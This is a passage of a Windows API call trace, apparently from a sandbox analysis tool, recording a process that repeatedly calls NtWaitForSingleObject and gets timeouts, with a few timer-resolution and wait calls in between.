	[0090.185] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0090.195] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0090.205] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0090.217] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0090.227] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0090.237] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0090.248] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0090.258] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0090.268] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0090.281] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0090.291] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0090.301] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0090.312] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0090.323] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0090.333] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0090.346] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0090.358] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0090.372] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0090.383] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0090.393] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0090.404] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0090.416] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0090.426] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0090.437] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0090.459] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0090.469] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0090.482] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0090.492] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0090.502] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0090.512] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0090.522] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0090.532] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0090.544] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0090.554] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0090.564] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0090.574] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0090.585] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0090.595] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0090.607] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0090.617] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0090.627] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0090.637] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0090.647] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0090.657] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0090.667] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0090.679] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0090.689] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0090.699] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0090.709] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0090.719] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0090.729] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0090.743] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0090.758] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0090.769] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0090.779] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0090.813] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0090.824] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0090.835] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0090.845] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0090.856] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0090.867] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0090.878] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0090.889] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0090.899] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0090.910] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0090.921] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0090.942] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0090.954] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0090.965] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0090.975] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0090.985] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0090.997] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0091.007] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0091.017] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0091.027] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0091.037] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0091.047] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0091.057] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0091.069] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0091.079] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0091.090] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0091.100] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0091.111] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0091.122] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0091.133] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0091.144] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0091.203] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0091.213] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0091.223] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0091.233] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0091.243] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0091.253] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0091.264] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0091.274] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0091.284] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0091.299] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0091.309] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0091.322] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0091.333] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0091.344] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0091.354] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0091.372] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0091.390] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0091.401] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0091.412] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0091.422] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0091.432] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0091.442] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0091.461] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0091.471] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0091.482] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0091.492] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0091.502] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0091.513] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0091.524] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0091.536] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0091.546] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0091.556] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0091.567] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0091.583] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0091.594] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0091.605] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0091.617] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0091.627] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0091.638] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0091.651] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0091.663] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0091.673] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0091.683] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0091.693] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0091.703] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0091.714] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0091.724] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0091.735] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0091.745] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0091.756] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0091.766] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0091.778] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0091.788] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0091.798] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0091.809] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0091.819] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0091.829] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0091.839] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0091.850] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0091.861] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0091.871] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0091.881] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0091.892] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0091.904] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0091.915] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0091.925] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0091.935] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0091.947] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0091.962] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0091.973] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0091.987] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0091.998] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0092.010] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0092.021] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0092.032] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0092.044] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0092.054] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0092.064] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0092.074] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0092.087] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0092.097] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0092.108] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0092.126] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0092.136] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0092.147] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0092.157] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0092.168] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0092.178] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0092.188] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0092.198] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0092.198] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0092.199] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0092.199] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0092.200] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0092.219] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0092.220] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0092.221] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0092.223] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0092.225] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0092.226] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0092.227] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0092.228] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0092.229] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0092.233] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0092.234] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0092.235] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0092.236] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0092.238] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0092.239] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0092.241] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0092.242] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0092.243] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0092.244] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0092.245] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0092.246] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0092.247] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0092.249] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0092.252] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0092.253] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0092.254] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0092.255] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0092.256] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0092.258] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0092.259] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0092.259] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0092.262] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0092.263] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0092.264] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0092.266] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0092.266] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0092.268] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0092.269] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0092.270] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0092.272] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0092.273] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0092.274] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0092.275] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0092.276] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0092.278] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0092.279] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0092.280] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0092.282] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0092.284] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0092.285] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0092.286] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0092.287] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0092.288] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0092.290] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0092.292] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0092.294] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0092.303] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0092.313] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0092.323] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0092.334] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0092.344] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0092.353] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0092.365] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0092.380] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0092.392] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0092.402] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0092.411] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0092.421] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0092.435] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0092.446] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0092.465] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0092.475] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0092.485] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0092.495] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0092.506] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0092.516] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0092.525] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0092.538] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0092.548] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0092.558] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0092.569] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0092.580] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0092.590] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0092.599] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0092.610] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0092.621] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0092.632] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0092.643] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0092.654] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0092.664] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0092.673] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0092.684] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0092.695] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0092.705] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0092.723] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0092.733] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0092.743] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0092.756] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
